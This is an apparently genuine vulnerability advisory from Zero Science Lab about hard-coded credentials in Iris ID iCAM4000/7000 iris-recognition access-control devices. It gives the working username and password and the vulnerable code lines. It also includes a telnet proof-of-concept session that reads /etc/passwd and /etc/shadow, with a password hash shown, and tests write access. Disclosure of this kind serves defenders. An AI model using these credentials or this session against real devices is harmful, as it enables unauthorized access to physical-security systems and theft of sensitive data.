
Iris ID IrisAccess iCAM4000/iCAM7000 Hardcoded Credentials Remote Shell Access


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess4000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam4000series/
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess7000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam7-series/

Affected version: iCAM4000:
                  iCAM Software: 3.09.02
                  iCAM File system: 1.3
                  CMR Firmware: 5.5 and 3.8
                  EIF Firmware: 9.5 and 8.0
                  HID iClass Library: 2.01.05
                  ImageData Library: 1.153
                  Command Process: 1.02

                  iCAM7000:
                  iCAM Software: 8.01.07
                  iCAM File system: 1.4.0
                  EIF Firmware: 1.9
                  HID iClass Library: 1.00.00
                  ImageData Library: 01.01.32
                  EyeSeek Library: 5.00
                  Countermeasure Library: 3.00
                  LensFinder Library: 5.00
                  Tilt Assist Library: 4.00

Summary: The 4th generation IrisAccess™ 7000 series iris recognition solution offered
by Iris ID provides fast, secure, and highly accurate, non-contact identification
by the iris of the eye. The iCAM7000's versatility and flexibility allows for easy
integration with many Wiegand and network based access control, time and attendance,
visitor management and point of sale applications.

The iCAM4000 or 4010 with embedded smart card is the best-selling model in the IrisAccess
4000 range. Simultaneous two-eye capture, face-badging camera, motorized height adjust,
iCAM4000 is easily configured for use in a kiosk as well as in applications where a traditional
wall-mount is used.

Desc: The Iris ID IrisAccess iCAM4000/7000 series suffer from a use of hard-coded credentials.
When visiting the device interface with a browser on port 80, the application loads an applet
JAR file 'ICAMClient.jar' into user's browser which serves additional admin features. In the
JAR file there is an account 'rou' with password 'iris4000' that has read and limited write
privileges on the affected node. An attacker can access the device using these credentials
starting a simple telnet session on port 23 gaining access to sensitive information and/or
FTP access on port 21 (with EVERYTHING allowed) and uploading malicious content.

=====================================================================================

/html/ICAMClient.jar (ICAMClient.java):
---------------------------------------

97:  param_host = getParameter("host");
98:  param_user = "rou";//getParameter("user");
99:  param_pass = "iris4000";//getParameter("pass"); // password
100: param_path = getParameter("path"); // path on the server


/etc/ftpd/ftpd.conf:
--------------------

69:  # User list:
70:  # Format:  user=<login> <passwd> <subdir> <maxlogins> <flags>
71:  #           <login>     user name
72:  #           <passwd>    password or * for anonymous access
73:  #           <subdir>    (internally appended to serverroot)
74:  #                       the user has access to the WHOLE SUBTREE,
75:  #                       if the server has access to it
76:  #           <maxlogins> maximal logins with this usertype
77:  #           <flags>     D - download
78:  #                       U - upload + making directories
79:  #                       O - overwrite existing files
80:  #                       M - allows multiple logins
81:  #                       E - allows erase operations
82:  #                       A - allows EVERYTHING(!)
101: 
103: user=rou iris4000 / 5 A

=====================================================================================


Tested on: GNU/Linux 2.4.19 (armv5tel)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5347
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5347.php


06.05.2016

--


telnet [IP]
iCAM4000 login: rou
Password:
[rou@iCAM4000 rou]# id
uid=500(rou) gid=500(rou) groups=500(rou)
[rou@iCAM4000 rou]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
rou:x:500:500::/home/rou:/bin/bash
[rou@iCAM4000 rou]# cd /web
[rou@iCAM4000 /web]# ls -al
total 0
drwxrwxr-x    1 rou      rou             0 Jul 26 07:22 .
drwxr-xr-x    1 root     root            0 Jan  1  1970 ..
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 cgi-bin
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 html
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 images
[rou@iCAM4000 /web]# cat /etc/shadow
root:{{REMOVED}}
bin:*:10897:0:99999:7:::
daemon:*:10897:0:99999:7:::
adm:*:10897:0:99999:7:::
lp:*:10897:0:99999:7:::
sync:*:10897:0:99999:7:::
shutdown:*:10897:0:99999:7:::
halt:*:10897:0:99999:7:::
mail:*:10897:0:99999:7:::
news:*:10897:0:99999:7:::
uucp:*:10897:0:99999:7:::
operator:*:10897:0:99999:7:::
games:*:10897:0:99999:7:::
gopher:*:10897:0:99999:7:::
ftp:*:10897:0:99999:7:::
nobody:*:10897:0:99999:7:::
rou:$1$LfhrWa0e$Crfm4qz7MFEaWaA77NFci0:12702:0:99999:7:::
[rou@iCAM4000 /web]# cat /etc/issue

Iris@ID iCAM4000 Linux (experimental)
Kernel 2.4.19-rmk7-pxa1 on an armv5tel
[rou@iCAM4000 /web]# ls -al html/
total 289
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 .
drwxrwxr-x    1 rou      rou             0 Jul 26 07:22 ..
-rw-rw-r--    1 rou      rou          4035 Jan 31  2013 DHCPSettings_reboot.htm
-rw-rw-r--    1 rou      rou        100614 Jan 10  2008 ICAMClient.jar
-rw-rw-r--    1 rou      rou          6376 Jan 31  2013 WiegandSettings.htm
-rw-rw-r--    1 rou      rou          5643 Jan 31  2013 authentication.htm
-rw-rw-r--    1 rou      rou          6166 Jan 31  2013 changeusername.htm
-rw-rw-r--    1 rou      rou          4816 Jan 31  2013 displayconfigsettings.htm
-rw-rw-r--    1 rou      rou          5643 Jan 31  2013 downloadauthentication.htm
-rw-rw-r--    1 rou      rou          4850 Jan 31  2013 downloadvoice_result.htm
-rw-rw-r--    1 rou      rou          3237 Jan 31  2013 error.htm
-rw-rw-r--    1 rou      rou          3234 Jan 31  2013 error_ip.htm
-rw-rw-r--    1 rou      rou          3248 Jan 31  2013 error_loginfailure.htm
-rw-rw-r--    1 rou      rou          3349 Jan 31  2013 error_usb_ip.htm
-rw-rw-r--    1 rou      rou          6128 Jan 31  2013 ftpupload.htm
-rw-rw-r--    1 rou      rou          5331 Jan 31  2013 iCAMConfig.htm
-rw-rw-r--    1 rou      rou          4890 Jan 31  2013 icamconfig_reboot.htm
-rw-rw-r--    1 rou      rou          5314 Jan 31  2013 index.htm
-rw-rw-r--    1 rou      rou          7290 Jan 31  2013 main.htm
-rw-rw-r--    1 rou      rou          3662 Jan 31  2013 reboot_result.htm
-rw-rw-r--    1 rou      rou          5782 Jan 31  2013 smartcardauthentication.htm
-rw-rw-r--    1 rou      rou         17783 Jan 31  2013 smartcardconfig.htm
-rw-rw-r--    1 rou      rou          4895 Jan 31  2013 smartcardconfig_reboot.htm
-rw-rw-r--    1 rou      rou          5809 Jan 31  2013 smartcardconfig_result.htm
-rw-rw-r--    1 rou      rou          3672 Jan 31  2013 systeminfo.htm
-rw-rw-r--    1 rou      rou          5870 Jan 31  2013 updateicamconfig.htm
-rw-rw-r--    1 rou      rou          4239 Jan 31  2013 updateicamconfig_result.htm
-rw-rw-r--    1 rou      rou          6612 Jan 31  2013 updatenetworksettings.htm
-rw-rw-r--    1 rou      rou          4651 Jan 31  2013 updatenetworksettings_result.htm
-rw-rw-r--    1 rou      rou          5014 Jan 31  2013 updatenetworksettings_state.htm
-rw-rw-r--    1 rou      rou          3985 Jan 31  2013 upload.htm
-rw-rw-r--    1 rou      rou          5645 Jan 31  2013 uploadauthentication.htm
-rw-rw-r--    1 rou      rou          4737 Jan 31  2013 uploadiriscapture_result.htm
-rw-rw-r--    1 rou      rou          6028 Jan 31  2013 voicemessagedownload.htm
-rw-rw-r--    1 rou      rou          6299 Jan 31  2013 voicemessageupdate.htm
-rw-rw-r--    1 rou      rou          5645 Jan 31  2013 wiegandauthentication.htm
-rw-rw-r--    1 rou      rou          4893 Jan 31  2013 wiegandconfig_reboot.htm
[rou@iCAM4000 /web]# echo $SHELL
/bin/bash
[rou@iCAM4000 /web]# echo pwn > test.write
[rou@iCAM4000 /web]# cat test.write
pwn
[rou@iCAM4000 /web]# rm -rf test.write
[rou@iCAM4000 /web]# cd /etc/ftpd
[rou@iCAM4000 ftpd]# pwd
/etc/ftpd
[rou@iCAM4000 ftpd]# cat ftpd.conf |grep user=rou
user=rou iris4000 / 5 A
[rou@iCAM4000 ftpd]# ^D
Connection to host lost.